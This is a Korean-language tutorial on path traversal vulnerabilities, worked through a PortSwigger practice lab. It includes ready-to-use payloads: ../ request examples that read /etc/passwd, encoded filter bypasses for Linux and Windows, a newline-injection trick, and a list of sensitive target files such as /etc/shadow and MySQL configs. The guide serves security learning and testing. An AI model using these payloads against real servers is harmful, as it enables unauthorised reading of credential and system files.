What Is❔
Path Traversal 취약점은 "디렉터리 조작" 으로도 알려져 있으며 파일 다운로드 취약점과 유사한 부분이 많다.
사용자로부터 경로(path) 형태의 입력값을 받아 서버의 파일에 접근할 수 있는 공격 기법이다.
즉, 경로 조작을 통해 서버 내에 존재하는 파일의 내용을 확인할 수 있게 된다.
How To❓
웹 서비스의 파라미터나 헤더에서 사용자 입력값을 처리하는 부분에 해당 취약점이 발현될 가능성이 존재한다.
파일 다운로드 취약점을 진단하는 것처럼 특수문자(../ 등)의 필터링 유무를 먼저 파악하는 것이 중요하다.
> Portswigger의 File Path traversal, simple case 문제로 설명을 진행하자면,
아래의 테스트 페이지에서 임의의 게시글을 클릭한다.
이미지를 불러올 때 filename 파라미터를 통해서 이미지를 가져온다.
사용자로부터 경로 입력값을 받는지 확인해보기 위해 아래와 같은 요청을 보내면
GET /image?filename=1.png → 200 OK GET /image?filename=./1.png → 200 OK 또는 GET /path=/upload/abc/123&filename=1.pdf → 200 OK GET /path=/upload/abc/123/../123&filename=1.pdf → 200 OK |
두개의 요청값 모두 200 ok 응답을 확인할 수 있다.
위의 결과로 알 수 있는 것은
./ 특수문자가 ①서버 단에서 필터링되어 있거나 현재 디렉터리를 나타내는 ./가 ②실제 경로로 처리가 된 경우이다.
실제 경로로 처리가 된 경우 ../를 사용하여 서버의 파일에 접근을 시도할 수 있다.
/image?filename=../../../../../../etc/passwd 을 입력하면 response 에서 /etc/passwd 파일에 접근이 가능하게 된다.
Good to Know👍
1. 특수문자 Bypass
[Linux]
../
%2e%2e%2f #url encoding
%252e%252e%252f #double url encoding
%u002E%u002E%u002F #16bit unicode encoding
....//
..././
[Windows]
..\
%2e%2e%5c #url encoding
%252e%252e%255c #double url encoding
%u002E%u002E%u005c #16bit unicode encoding
....\\
...\.\
2. OS 별 주요 경로
[ Linux ]
/etc/passwd
../../../../etc/passwd%0a.png (개행문자 삽입 %0a, %0d)
/etc/issue (로그인 전 배너 설정 파일_로컬에서)
/etc/issue.net (로그인 전 배너 설정 파일_telnet)
/etc/motd (로그인 성공 메시지 설정 파일 ssh, telnet)
/etc/shadow
/etc/group
/etc/hosts (도메인 주소와 ip 주소가 존재하는 파일)
/var/log/wtmp (성공한 로그인/로그아웃 정보 파일)
/var/log/btmp
/var/log/lastlog
/etc/my.cnf (mysql 설정 파일)
/etc/mysql/my.cnf
/usr/local/mysql/etc/my.cnf
[ Windows ]
winnt/win.ini
boot.ini
C:\Windows\my.ini (mysql 설정 파일)
C:\Windows\my.cnf
C:\my.ini
C:\my.cnf